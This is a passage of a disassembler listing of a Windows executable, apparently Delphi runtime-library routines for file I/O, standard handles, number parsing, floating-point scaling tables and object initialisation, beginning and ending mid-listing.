		jz	loc_401772
		mov	[esi], eax
		cmp	word ptr [esi+4], 0D7B3h
		jnz	loc_40173B
		dec	word ptr [esi+4]
		push	0
		push	dword ptr [esi]
		call	sub_4010D8	; GetFileSize
		inc	eax
		jz	loc_401772
		sub	eax, 81h
		jnb	short loc_401695
		xor	eax, eax


loc_401695:				; CODE XREF: CODE:00401691j
		push	0
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_401108	; SetFilePointer
		inc	eax
		jz	loc_401772
		push	0
		mov	edx, esp
		push	0
		push	edx
		push	80h
		lea	edx, [esi+14Ch]
		push	edx
		push	dword ptr [esi]
		call	sub_4010F0	; ReadFile
		pop	edx
		dec	eax
		jnz	loc_401772
		xor	eax, eax


loc_4016CC:				; CODE XREF: CODE:004016DBj
		cmp	eax, edx
		jnb	short loc_40173B
		cmp	byte ptr [esi+eax+14Ch], 0Eh
		jz	short loc_4016DD
		inc	eax
		jmp	short loc_4016CC
; ---------------------------------------------------------------------------


loc_4016DD:				; CODE XREF: CODE:004016D8j
		push	2
		push	0
		sub	eax, edx
		push	eax
		push	dword ptr [esi]
		call	sub_401108	; SetFilePointer
		inc	eax
		jz	loc_401772
		push	dword ptr [esi]
		call	sub_401100	; SetEndOfFile
		dec	eax
		jnz	short loc_401772
		jmp	short loc_40173B
; ---------------------------------------------------------------------------


loc_4016FE:				; CODE XREF: CODE:00401646j
		lea	eax, [esi+14Ch]
		mov	dword ptr [esi+8], 80h
		mov	dword ptr [esi+24h], offset sub_401564
		mov	[esi+14h], eax
		cmp	word ptr [esi+4], 0D7B2h
		jz	short loc_401721
		push	0FFFFFFF6h
		jmp	short loc_40172F
; ---------------------------------------------------------------------------


loc_401721:				; CODE XREF: CODE:0040171Bj
		cmp	esi, offset dword_40A3D8
		jnz	short loc_40172D
		push	0FFFFFFF4h
		jmp	short loc_40172F
; ---------------------------------------------------------------------------


loc_40172D:				; CODE XREF: CODE:00401727j
		push	0FFFFFFF5h


loc_40172F:				; CODE XREF: CODE:0040171Fj
					; CODE:0040172Bj
		call	sub_4010E0	; GetStdHandle
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401772
		mov	[esi], eax


loc_40173B:				; CODE XREF: CODE:00401672j
					; CODE:004016CEj ...
		cmp	word ptr [esi+4], 0D7B1h
		jz	short loc_40175A
		push	dword ptr [esi]
		call	sub_4010C8	; GetFileType
		test	eax, eax
		jz	short loc_40175E
		cmp	eax, 2
		jnz	short loc_40175A
		mov	dword ptr [esi+20h], offset sub_401568


loc_40175A:				; CODE XREF: CODE:00401741j
					; CODE:00401751j
		xor	eax, eax


loc_40175C:				; CODE XREF: CODE:004015F0j
					; CODE:00401770j ...
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40175E:				; CODE XREF: CODE:0040174Cj
		push	dword ptr [esi]
		call	sub_4010B8	; CloseHandle
		mov	word ptr [esi+4], 0D7B0h
		mov	eax, 69h
		jmp	short loc_40175C
; ---------------------------------------------------------------------------


loc_401772:				; CODE XREF: CODE:00401664j
					; CODE:00401686j ...
		mov	word ptr [esi+4], 0D7B0h
		call	sub_401140	; RtlGetLastWin32Error
		jmp	short loc_40175C
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_401780	proc near		; CODE XREF: CODE:00407EBBp
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		xor	ecx, ecx
		mov	edx, 14Ch
		call	sub_401964
		lea	eax, [ebx+14Ch]
		mov	[ebx+14h], eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	eax, eax
		mov	al, ds:byte_40901C
		mov	[ebx+6], ax
		mov	dword ptr [ebx+8], 80h
		mov	dword ptr [ebx+18h], offset loc_4015D4
		mov	eax, esi
		call	sub_402840
		push	eax
		mov	eax, esi
		call	sub_402A38
		lea	edx, [ebx+48h]
		pop	ecx
		call	sub_401340
		mov	eax, esi
		call	sub_402840
		mov	byte ptr [ebx+eax+48h],	0
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
sub_401780	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4017E8	proc near		; CODE XREF: sub_401830+3p
		push	ebx
		mov	cx, [eax+4]
		sub	cx, 0D7B1h
		jz	short loc_401803
		dec	ecx
		sub	cx, 2
		jnb	short loc_401807
		mov	ebx, edx
		call	ebx
		mov	ebx, eax
		jmp	short loc_40181E
; ---------------------------------------------------------------------------


loc_401803:				; CODE XREF: sub_4017E8+Aj
		xor	ebx, ebx
		jmp	short loc_40181E
; ---------------------------------------------------------------------------


loc_401807:				; CODE XREF: sub_4017E8+11j
		cmp	eax, offset dword_40A20C
		jz	short loc_401815
		cmp	eax, offset dword_40A3D8
		jnz	short loc_401819


loc_401815:				; CODE XREF: sub_4017E8+24j
		xor	ebx, ebx
		jmp	short loc_40181E
; ---------------------------------------------------------------------------


loc_401819:				; CODE XREF: sub_4017E8+2Bj
		mov	ebx, 67h


loc_40181E:				; CODE XREF: sub_4017E8+19j
					; sub_4017E8+1Dj ...
		test	ebx, ebx
		jz	short loc_401829
		mov	eax, ebx
		call	sub_401304


loc_401829:				; CODE XREF: sub_4017E8+38j
		mov	eax, ebx
		pop	ebx
		retn
sub_4017E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401830	proc near		; CODE XREF: CODE:00405853p
		mov	edx, [eax+1Ch]
		call	sub_4017E8
		retn
sub_401830	endp

; ---------------------------------------------------------------------------
		align 4


loc_40183C:				; DATA XREF: sub_4018D0+Do
		jmp	ds:dword_40B10C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401844	proc near		; CODE XREF: sub_4018D0+14p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		mov	eax, [ebp+arg_8]
		movzx	edx, word ptr [ebx+4]
		and	edx, eax
		cmp	eax, edx
		jnz	short loc_4018B6
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebx+8]
		imul	esi
		push	eax
		push	edi
		mov	eax, [ebx]
		push	eax
		call	[ebp+arg_4]
		test	eax, eax
		jnz	short loc_401886
		call	sub_401140	; RtlGetLastWin32Error
		call	sub_401304
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4018C5
; ---------------------------------------------------------------------------


loc_401886:				; CODE XREF: sub_401844+2Fj
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	dword ptr [ebx+8]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_4018A2
		mov	eax, [ebp+arg_C]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		jmp	short loc_4018C5
; ---------------------------------------------------------------------------


loc_4018A2:				; CODE XREF: sub_401844+52j
		cmp	esi, [ebp+var_4]
		jz	short loc_4018C5
		mov	eax, [ebp+arg_0]
		call	sub_401304
		xor	eax, eax
		mov	[ebp+var_4], eax
		jmp	short loc_4018C5
; ---------------------------------------------------------------------------


loc_4018B6:				; CODE XREF: sub_401844+18j
		mov	eax, 67h
		call	sub_401304
		xor	eax, eax
		mov	[ebp+var_4], eax


loc_4018C5:				; CODE XREF: sub_401844+40j
					; sub_401844+5Cj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ebp
		retn	10h
sub_401844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4018D0	proc near		; CODE XREF: CODE:00407EFAp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	ebx
		push	0D7B2h
		push	offset loc_40183C
		push	65h
		call	sub_401844
		pop	ebx
		pop	ebp
		retn	4
sub_4018D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4018F0	proc near		; CODE XREF: CODE:00407F09p
		push	ebx
		push	esi
		mov	ebx, eax
		xor	esi, esi
		mov	ax, [ebx+4]
		cmp	ax, 0D7B1h
		jb	short loc_40192F
		cmp	ax, 0D7B3h
		ja	short loc_40192F
		and	ax, 0D7B2h
		cmp	ax, 0D7B2h
		jnz	short loc_401917
		mov	eax, ebx
		call	dword ptr [ebx+1Ch]
		mov	esi, eax


loc_401917:				; CODE XREF: sub_4018F0+1Ej
		test	esi, esi
		jnz	short loc_401922
		mov	eax, ebx
		call	dword ptr [ebx+24h]
		mov	esi, eax


loc_401922:				; CODE XREF: sub_4018F0+29j
		test	esi, esi
		jz	short loc_401941
		mov	eax, esi
		call	sub_401304
		jmp	short loc_401941
; ---------------------------------------------------------------------------


loc_40192F:				; CODE XREF: sub_4018F0+Ej
					; sub_4018F0+14j
		cmp	ebx, offset dword_40A040
		jz	short loc_401941
		mov	eax, 67h
		call	sub_401304


loc_401941:				; CODE XREF: sub_4018F0+34j
					; sub_4018F0+3Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4018F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401948	proc near		; CODE XREF: sub_407720+1Fp
		push	ebx
		mov	bl, [edx]
		cmp	cl, bl
		jbe	short loc_401951
		mov	ecx, ebx


loc_401951:				; CODE XREF: sub_401948+5j
		mov	[eax], cl
		inc	edx
		inc	eax
		and	ecx, 0FFh
		xchg	eax, edx
		call	sub_401340
		pop	ebx
		retn
sub_401948	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401964	proc near		; CODE XREF: sub_401780+Fp
					; sub_406E6C+7Ep ...
		push	edi
		mov	edi, eax
		mov	ch, cl
		mov	eax, ecx
		shl	eax, 10h
		mov	ax, cx
		mov	ecx, edx
		sar	ecx, 2
		js	short loc_401981
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_401981:				; CODE XREF: sub_401964+12j
		pop	edi
		retn
sub_401964	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401984	proc near		; CODE XREF: CODE:00407E8Cp
		push	ebx
		xor	ebx, ebx
		imul	edx, ds:dword_409008[ebx], 8088405h
		inc	edx
		mov	ds:dword_409008[ebx], edx
		mul	edx
		mov	eax, edx
		pop	ebx
		retn
sub_401984	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4019A0	proc near		; DATA XREF: sub_4019C8+35o
		push	ebx
		push	esi
		mov	ebx, eax
		mov	word ptr [ebx+4], 0D7B0h
		xor	esi, esi
		mov	eax, [ebx]
		call	sub_4015A4
		test	al, al
		jnz	short loc_4019C1
		call	sub_401314
		mov	esi, 1


loc_4019C1:				; CODE XREF: sub_4019A0+15j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4019A0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4019C8	proc near		; CODE XREF: sub_401AA8+5p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, ecx
		xor	edx, edx
		mov	ebx, eax
		mov	dx, [eax+4]
		sub	edx, 0D7B0h
		jz	short loc_4019F4
		cmp	edx, 3
		ja	loc_401A8A
		call	dword ptr [ebx+24h]
		test	eax, eax
		jz	short loc_4019F4
		call	sub_401304


loc_4019F4:				; CODE XREF: sub_4019C8+15j
					; sub_4019C8+25j
		mov	word ptr [ebx+4], 0D7B3h
		mov	[ebx+8], esi
		mov	dword ptr [ebx+24h], offset sub_4019A0
		mov	dword ptr [ebx+1Ch], offset sub_401564
		cmp	byte ptr [ebx+48h], 0
		jz	short loc_401A71
		mov	eax, 0C0000000h
		mov	dl, ds:byte_40900C
		and	edx, 70h
		shr	edx, 2
		mov	edx, ds:dword_409070[edx]
		mov	ecx, 2
		sub	edi, 3
		jz	short loc_401A53
		mov	ecx, 3
		inc	edi
		jz	short loc_401A53
		mov	eax, 40000000h
		inc	edi
		mov	word ptr [ebx+4], 0D7B2h
		jz	short loc_401A53
		mov	eax, 80000000h
		mov	word ptr [ebx+4], 0D7B1h


loc_401A53:				; CODE XREF: sub_4019C8+68j
					; sub_4019C8+70j ...
		push	0
		push	80h
		push	ecx
		push	0
		push	edx
		push	eax
		lea	eax, [ebx+48h]
		push	eax
		call	sub_4010C0	; CreateFileA


loc_401A68:				; CODE XREF: sub_4019C8+C0j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401A91
		mov	[ebx], eax
		jmp	short loc_401AA1
; ---------------------------------------------------------------------------


loc_401A71:				; CODE XREF: sub_4019C8+47j
		mov	dword ptr [ebx+24h], offset sub_401564
		cmp	edi, 3
		jz	short loc_401A81
		push	0FFFFFFF6h
		jmp	short loc_401A83
; ---------------------------------------------------------------------------


loc_401A81:				; CODE XREF: sub_4019C8+B3j
		push	0FFFFFFF5h


loc_401A83:				; CODE XREF: sub_4019C8+B7j
		call	sub_4010E0	; GetStdHandle
		jmp	short loc_401A68
; ---------------------------------------------------------------------------


loc_401A8A:				; CODE XREF: sub_4019C8+1Aj
		mov	eax, 66h
		jmp	short loc_401A9C
; ---------------------------------------------------------------------------


loc_401A91:				; CODE XREF: sub_4019C8+A3j
		mov	word ptr [ebx+4], 0D7B0h
		call	sub_401140	; RtlGetLastWin32Error


loc_401A9C:				; CODE XREF: sub_4019C8+C7j
		call	sub_401304


loc_401AA1:				; CODE XREF: sub_4019C8+A7j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4019C8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AA8	proc near		; CODE XREF: CODE:00407ECAp
		mov	ecx, 3
		call	sub_4019C8
		retn
sub_401AA8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AB4	proc near		; CODE XREF: sub_401B14+4p

var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		push	edx
		sub	esp, 14h
		mov	edi, ecx
		mov	esi, eax
		cdq
		xor	eax, edx
		sub	eax, edx
		mov	ecx, 0Ah
		xor	ebx, ebx


loc_401ACB:				; CODE XREF: sub_401AB4+24j
		xor	edx, edx
		div	ecx
		add	edx, 30h
		mov	[esp+ebx+24h+var_24], dl
		inc	ebx
		test	eax, eax
		jnz	short loc_401ACB
		test	esi, esi
		jge	short loc_401AE3
		mov	[esp+ebx+24h+var_24], 2Dh
		inc	ebx


loc_401AE3:				; CODE XREF: sub_401AB4+28j
		mov	[edi], bl
		inc	edi
		mov	ecx, [esp+24h+var_10]
		cmp	ecx, 0FFh
		jle	short loc_401AF7
		mov	ecx, 0FFh


loc_401AF7:				; CODE XREF: sub_401AB4+3Cj
		sub	ecx, ebx
		jle	short loc_401B02
		add	[edi-1], cl
		mov	al, 20h
		rep stosb


loc_401B02:				; CODE XREF: sub_401AB4+45j
					; sub_401AB4+56j
		mov	al, [esp+ebx-1]
		mov	[edi], al
		inc	edi
		dec	ebx
		jnz	short loc_401B02
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401AB4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B14	proc near		; CODE XREF: sub_407720+12p
		mov	ecx, edx
		xor	edx, edx
		call	sub_401AB4
		retn
sub_401B14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B20	proc near		; CODE XREF: sub_4043F0+6p
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		push	eax
		test	eax, eax
		jz	short loc_401B96
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, 0CCCCCCCh


loc_401B33:				; CODE XREF: sub_401B20+19j
		mov	bl, [esi]
		inc	esi
		cmp	bl, 20h
		jz	short loc_401B33
		mov	ch, 0
		cmp	bl, 2Dh
		jz	short loc_401BA4
		cmp	bl, 2Bh
		jz	short loc_401BA6
		cmp	bl, 24h
		jz	short loc_401BAB
		cmp	bl, 78h
		jz	short loc_401BAB
		cmp	bl, 58h
		jz	short loc_401BAB
		cmp	bl, 30h
		jnz	short loc_401B6E
		mov	bl, [esi]
		inc	esi
		cmp	bl, 78h
		jz	short loc_401BAB
		cmp	bl, 58h
		jz	short loc_401BAB
		test	bl, bl
		jz	short loc_401B8C
		jmp	short loc_401B72
; ---------------------------------------------------------------------------


loc_401B6E:				; CODE XREF: sub_401B20+39j
					; sub_401B20+89j
		test	bl, bl
		jz	short loc_401B9F


loc_401B72:				; CODE XREF: sub_401B20+4Cj
					; sub_401B20+6Aj
		sub	bl, 30h
		cmp	bl, 9
		ja	short loc_401B9F
		cmp	eax, edi
		ja	short loc_401B9F
		lea	eax, [eax+eax*4]
		add	eax, eax
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401B72


loc_401B8C:				; CODE XREF: sub_401B20+4Aj
		dec	ch
		jz	short loc_401B99
		test	eax, eax
		jge	short loc_401BE2
		jmp	short loc_401B9F
; ---------------------------------------------------------------------------


loc_401B96:				; CODE XREF: sub_401B20+8j
					; sub_401B20+95j
		inc	esi
		jmp	short loc_401B9F
; ---------------------------------------------------------------------------


loc_401B99:				; CODE XREF: sub_401B20+6Ej
		neg	eax
		jle	short loc_401BE2
		js	short loc_401BE2


loc_401B9F:				; CODE XREF: sub_401B20+50j
					; sub_401B20+58j ...
		pop	ebx
		sub	esi, ebx
		jmp	short loc_401BE5
; ---------------------------------------------------------------------------


loc_401BA4:				; CODE XREF: sub_401B20+20j
		inc	ch


loc_401BA6:				; CODE XREF: sub_401B20+25j
		mov	bl, [esi]
		inc	esi
		jmp	short loc_401B6E
; ---------------------------------------------------------------------------


loc_401BAB:				; CODE XREF: sub_401B20+2Aj
					; sub_401B20+2Fj ...
		mov	edi, 0FFFFFFFh
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jz	short loc_401B96


loc_401BB7:				; CODE XREF: sub_401B20+C0j
		cmp	bl, 61h
		jb	short loc_401BBF
		sub	bl, 20h


loc_401BBF:				; CODE XREF: sub_401B20+9Aj
		sub	bl, 30h
		cmp	bl, 9
		jbe	short loc_401BD2
		sub	bl, 11h
		cmp	bl, 5
		ja	short loc_401B9F
		add	bl, 0Ah


loc_401BD2:				; CODE XREF: sub_401B20+A5j
		cmp	eax, edi
		ja	short loc_401B9F
		shl	eax, 4
		add	eax, ebx
		mov	bl, [esi]
		inc	esi
		test	bl, bl
		jnz	short loc_401BB7


loc_401BE2:				; CODE XREF: sub_401B20+72j
					; sub_401B20+7Bj ...
		pop	ecx
		xor	esi, esi


loc_401BE5:				; CODE XREF: sub_401B20+82j
		mov	[edx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401B20	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BEC	proc near		; CODE XREF: sub_406350+A5p
		push	esi
		push	edi
		mov	esi, eax
		mov	edi, edx
		and	ecx, 0FFh
		repe cmpsb
		pop	edi
		pop	esi
		retn
sub_401BEC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401C00	proc near		; CODE XREF: sub_404F3D+58p
		jmp	sub_401C08
sub_401C00	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C08	proc near		; CODE XREF: sub_401C00j
		push	ebx
		xor	ebx, ebx
		test	eax, eax
		jl	short loc_401C5C
		jz	loc_401CAB
		cmp	eax, 1400h
		jge	loc_401CA1
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_401CB7[ebx+edx*2]
		fmulp	st(1), st
		shr	eax, 5
		jz	short loc_401CAB
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_401C49
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_401DED[ebx+edx*2]
		fmulp	st(1), st


loc_401C49:				; CODE XREF: sub_401C08+33j
		shr	eax, 4
		jz	short loc_401CAB
		lea	eax, [eax+eax*4]
		fld	tbyte_401E83[ebx+eax*2]
		fmulp	st(1), st
		jmp	short loc_401CAB
; ---------------------------------------------------------------------------


loc_401C5C:				; CODE XREF: sub_401C08+5j
		neg	eax
		cmp	eax, 1400h
		jge	short loc_401CA9
		mov	edx, eax
		and	edx, 1Fh
		lea	edx, [edx+edx*4]
		fld	tbyte_401CB7[ebx+edx*2]
		fdivp	st(1), st
		shr	eax, 5
		jz	short loc_401CAB
		mov	edx, eax
		and	edx, 0Fh
		jz	short loc_401C8E
		lea	edx, [edx+edx*4]
		fld	tbyte ptr byte_401DED[ebx+edx*2]
		fdivp	st(1), st


loc_401C8E:				; CODE XREF: sub_401C08+78j
		shr	eax, 4
		jz	short loc_401CAB
		lea	eax, [eax+eax*4]
		fld	tbyte_401E83[ebx+eax*2]
		fdivp	st(1), st
		jmp	short loc_401CAB
; ---------------------------------------------------------------------------


loc_401CA1:				; CODE XREF: sub_401C08+12j
		fld	tbyte_401CAD[ebx]
		jmp	short loc_401CAB
; ---------------------------------------------------------------------------


loc_401CA9:				; CODE XREF: sub_401C08+5Bj
		fldz


loc_401CAB:				; CODE XREF: sub_401C08+7j
					; sub_401C08+2Cj ...
		pop	ebx
		retn
sub_401C08	endp

; ---------------------------------------------------------------------------
tbyte_401CAD	dt 1.1897314953572317651e4932 ;	DATA XREF: sub_401C08:loc_401CA1r
tbyte_401CB7	dt 1.0			; DATA XREF: sub_401C08+20r
					; sub_401C08+65r
		align 8
		dd 4002A0h, 0
		dd 5C80000h, 40h, 0
		dd 4008FAh, 0
		dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0
		dd 12F42400h, 40h, 96800000h, 401698h, 0
		dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0
		dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h
		dd 40h,	84E72A00h, 402A91h, 0F4800000h,	2DB5E620h, 40h
		dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h
		dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h
		dd 403E8Ah, 0C5AC6200h,	41AD78EBh, 7A800040h, 0D726B717h
		dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah
		dd 404BA9h, 0CECCEDA1h,	4ED3C21Bh, 1484A040h, 59516140h
		dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h
		dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h,	8F07D736h
		dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h
		db 40h
byte_401DED	db 96h			; DATA XREF: sub_401C08+38r
					; sub_401C08+7Dr
		dw 8122h
		dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh,	0CFA6D540h
		dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh,	0E98CE041h
		dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h
		dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h
		dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh,	0CCE37643h
		dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h
		dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h
		dd 7A4AE1EBh
		db 95h,	0CFh, 45h
tbyte_401E83	dt 9.9999999999999999996e479 ; DATA XREF: sub_401C08+49r
					; sub_401C08+8Er
		db 0C7h, 91h, 0Eh
		dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh
		dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah
		dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h
		dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h
		dd 3511626Eh, 0C37BCAAEh

; =============== S U B	R O U T	I N E =======================================



sub_401EE8	proc near		; CODE XREF: sub_4021A4+20p
		fninit
		wait
		fldcw	ds:word_409010
		retn
sub_401EE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401EF4	proc near		; CODE XREF: CODE:004057A7p
		push	esi
		push	edi
		mov	edi, edx
		mov	esi, [eax-2Ch]
		xor	ecx, ecx
		mov	cl, [esi]
		inc	ecx
		rep movsb
		pop	edi
		pop	esi
		retn
sub_401EF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F08	proc near		; DATA XREF: CODE:0040104Co
					; CODE:00403A18o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_401F38
		call	sub_401200
		mov	edx, eax
		mov	eax, ebx
		call	sub_401F5C
		pop	ebx
		retn
sub_401F08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F24	proc near		; CODE XREF: sub_405A74+6p
					; DATA XREF: CODE:00401050o ...
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_401FB4
		mov	eax, ebx
		call	sub_401218
		pop	ebx
		retn
sub_401F24	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F38	proc near		; CODE XREF: sub_401F08+5p
		add	eax, 0FFFFFFD8h
		mov	eax, [eax]
		retn
sub_401F38	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F40	proc near		; DATA XREF: CODE:00401054o
					; CODE:00403A20o ...
		call	sub_4020E0
		test	dl, dl
		jle	short locret_401F4E
		call	sub_4020C8

locret_401F4E:				; CODE XREF: sub_401F40+7j
		retn
sub_401F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F50	proc near		; CODE XREF: sub_4021A4+11Fj
					; sub_402330+30p ...
		test	eax, eax
		jz	short locret_401F5B
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx-4]

locret_401F5B:				; CODE XREF: sub_401F50+2j
		retn
sub_401F50	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F5C	proc near		; CODE XREF: sub_401F08+13p
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	edi, edx
		stosd
		mov	ecx, [ebx-28h]
		xor	eax, eax
		push	ecx
		shr	ecx, 2
		dec	ecx
		rep stosd
		pop	ecx
		and	ecx, 3
		rep stosb
		mov	eax, edx
		mov	edx, esp


loc_401F7A:				; CODE XREF: sub_401F5C+2Fj
		mov	ecx, [ebx-48h]
		test	ecx, ecx
		jz	short loc_401F82
		push	ecx


loc_401F82:				; CODE XREF: sub_401F5C+23j
		mov	ebx, [ebx-24h]
		test	ebx, ebx
		jz	short loc_401F8D
		mov	ebx, [ebx]
		jmp	short loc_401F7A
; ---------------------------------------------------------------------------


loc_401F8D:				; CODE XREF: sub_401F5C+2Bj
		cmp	esp, edx
		jz	short loc_401FAE


loc_401F91:				; CODE XREF: sub_401F5C+50j
		pop	ebx
		mov	ecx, [ebx]
		add	ebx, 4


loc_401F97:				; CODE XREF: sub_401F5C+4Cj
		mov	esi, [ebx+10h]
		test	esi, esi
		jz	short loc_401FA4
		mov	edi, [ebx+14h]
		mov	[edi+eax], esi


loc_401FA4:				; CODE XREF: sub_401F5C+40j
		add	ebx, 1Ch
		dec	ecx
		jnz	short loc_401F97
		cmp	esp, edx
		jnz	short loc_401F91


loc_401FAE:				; CODE XREF: sub_401F5C+33j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F5C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FB4	proc near		; CODE XREF: sub_401F24+5p
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, eax


loc_401FBA:				; CODE XREF: sub_401FB4+1Bj
		mov	esi, [esi]
		mov	edx, [esi-40h]
		mov	esi, [esi-24h]
		test	edx, edx
		jz	short loc_401FCD
		call	sub_402C3C
		mov	eax, ebx


loc_401FCD:				; CODE XREF: sub_401FB4+10j
		test	esi, esi
		jnz	short loc_401FBA
		pop	esi
		pop	ebx
		retn
sub_401FB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_401FD4	proc near		; CODE XREF: CODE:00405750p
					; sub_405EC8+96p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_401FEB
		mov	edx, esi
		mov	eax, [ebx]
		call	sub_402028
		test	al, al
		jnz	short loc_401FF0


loc_401FEB:				; CODE XREF: sub_401FD4+8j
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401FF0:				; CODE XREF: sub_401FD4+15j
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_401FD4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FF8	proc near		; CODE XREF: sub_402050+13p
		push	edi
		xchg	eax, esi
		jmp	short loc_401FFE
; ---------------------------------------------------------------------------


loc_401FFC:				; CODE XREF: sub_401FF8+1Fj
		mov	esi, [esi]


